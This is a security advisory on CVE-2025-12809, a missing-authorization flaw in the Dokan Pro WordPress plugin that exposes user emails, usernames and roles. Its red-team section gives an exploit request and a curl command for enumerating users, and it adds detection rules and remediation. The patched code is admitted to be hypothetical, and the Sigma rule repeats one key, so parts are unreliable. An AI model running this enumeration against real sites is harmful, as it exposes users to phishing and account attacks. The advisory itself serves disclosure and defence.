CVE-2025-12809

Executive Summary

CVE-2025-12809 is a Missing Authorization vulnerability in the Dokan Pro WordPress plugin, affecting all versions up to and including 4.1.3. The vulnerability resides in the /dokan/v1/wholesale/register REST API endpoint, which lacks a capability check. This allows unauthenticated attackers to enumerate registered users and extract sensitive information such as email addresses, usernames, display names, user roles, and registration dates.

This is a WordPress ecosystem issue, not related to Apache or Nginx. The vulnerability is classified as CWE-862: Missing Authorization and has a CVSS score of 5.3 (Medium). The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the information disclosure can be used for targeted phishing or social engineering attacks.

Supply Chain & Package Security

This vulnerability affects the Dokan Pro plugin, a commercial WordPress plugin. Since it is not an open-source package (NPM, PyPI, Go, Ruby), supply chain security concerns are limited to the plugin's update mechanism. Users must rely on the vendor for patches.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure (email addresses, usernames).
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No service disruption.

Threat Level: Medium. While the CVSS score is 5.3, the information disclosure can be leveraged for further attacks (e.g., credential stuffing, phishing).

Deep Dive & Mechanics

The vulnerability exists in the Dokan Pro plugin's REST API endpoint /dokan/v1/wholesale/register. This endpoint is intended for wholesale user registration but fails to enforce proper authorization checks. An unauthenticated attacker can send a GET request to this endpoint with a user ID parameter to retrieve sensitive user data.

Root Cause: The register endpoint does not call current_user_can() or any capability check before processing the request. This allows any unauthenticated user to query user data by ID.

Impact: An attacker can enumerate all registered users by iterating through user IDs (starting from 1) and extract:

• Email addresses
• Usernames
• Display names
• User roles
• Registration dates

This data can be used for targeted phishing campaigns, social engineering, or further exploitation.

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.1.3): The REST API endpoint likely registers a route without permission callbacks. Example (simplified):

register_rest_route( 'dokan/v1', '/wholesale/register', array(
    'methods' => 'GET',
    'callback' => 'dokan_wholesale_register_endpoint',
    // Missing 'permission_callback' => '__return_true' or capability check
) );

Patched Code (Hypothetical): The patched version would add a permission callback:

register_rest_route( 'dokan/v1', '/wholesale/register', array(
    'methods' => 'GET',
    'callback' => 'dokan_wholesale_register_endpoint',
    'permission_callback' => function() {
        return current_user_can( 'manage_options' ); // Or appropriate capability
    }
) );

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with Dokan Pro <= 4.1.3 installed.
• No authentication required.

Exploit Steps:

1. Identify the target WordPress site.
2. Send a GET request to the vulnerable endpoint with a user ID:

   GET /wp-json/dokan/v1/wholesale/register?user_id=1 HTTP/1.1
   Host: target-site.com
   

3. Iterate through user IDs (1, 2, 3, ...) to enumerate all users.

Example cURL command:

curl -s "https://target-site.com/wp-json/dokan/v1/wholesale/register?user_id=1" | jq .

Expected Response:

{
  "id": 1,
  "user_login": "admin",
  "display_name": "Admin User",
  "user_email": "admin@example.com",
  "roles": ["administrator"],
  "user_registered": "2024-01-01 00:00:00"
}

Blue Team (Detection & Response)

Detection Steps:

1. Monitor REST API access logs for requests to /dokan/v1/wholesale/register with user_id parameter.
2. Look for sequential user ID requests (e.g., 1, 2, 3, ...) indicating enumeration.
3. Alert on unauthenticated access to this endpoint.

Hunting Query (Splunk):

index=web sourcetype=access_combined
uri="/wp-json/dokan/v1/wholesale/register*"
| rex field=uri "user_id=(?<user_id>\d+)"
| stats count by clientip, user_id
| where count > 5

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wp-json/dokan/v1/wholesale/register with user_id parameter.
  • Sequential user ID requests from the same IP.
• Log IOCs:
  • REST API logs showing dokan/v1/wholesale/register accessed without authentication.
  • WordPress debug logs (if enabled) showing WP_User::get_data_by calls for multiple IDs.
• File IOCs:
  • Modified dokan-pro plugin files (if attacker gains access).

Detection Engineering

YARA Rule

rule CVE_2025_12809_Dokan_Pro_Enumeration {
    meta:
        description = "Detects exploitation attempts of CVE-2025-12809 in Dokan Pro plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-12809"
    strings:
        $endpoint = "/dokan/v1/wholesale/register"
        $user_id_param = "user_id="
    condition:
        $endpoint and $user_id_param
}

Sigma Rule

title: CVE-2025-12809 Dokan Pro User Enumeration
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated access to Dokan Pro wholesale register endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/dokan/v1/wholesale/register"
        cs-uri-query|contains: "user_id="
    condition: selection
falsepositives:
    - Legitimate admin testing
level: medium

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-12809 Dokan Pro User Enumeration Attempt";
    flow:to_server;
    content:"/dokan/v1/wholesale/register";
    http_uri;
    content:"user_id=";
    http_uri;
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Dokan Pro plugin until a patch is available.
2. Implement a Web Application Firewall (WAF) rule to block requests to /dokan/v1/wholesale/register with user_id parameter.
3. Monitor logs for enumeration attempts.

Long-term Fix:

• Apply the vendor patch when released (currently UNKNOWN).
• If custom development is possible, add a permission callback to the REST API endpoint:

  'permission_callback' => function() {
      return current_user_can( 'manage_options' );
  }
  

Workaround:

• Use a plugin like "WP REST API Authentication" to require authentication for all REST API endpoints.
• Restrict access to /wp-json/ via .htaccess:

  <IfModule mod_rewrite.c>
  RewriteEngine On
  RewriteCond %{REQUEST_URI} ^/wp-json/dokan/v1/wholesale/register [NC]
  RewriteRule .* - [F,L]
  </IfModule>
  

Valters IT
Securing Digital Frontiers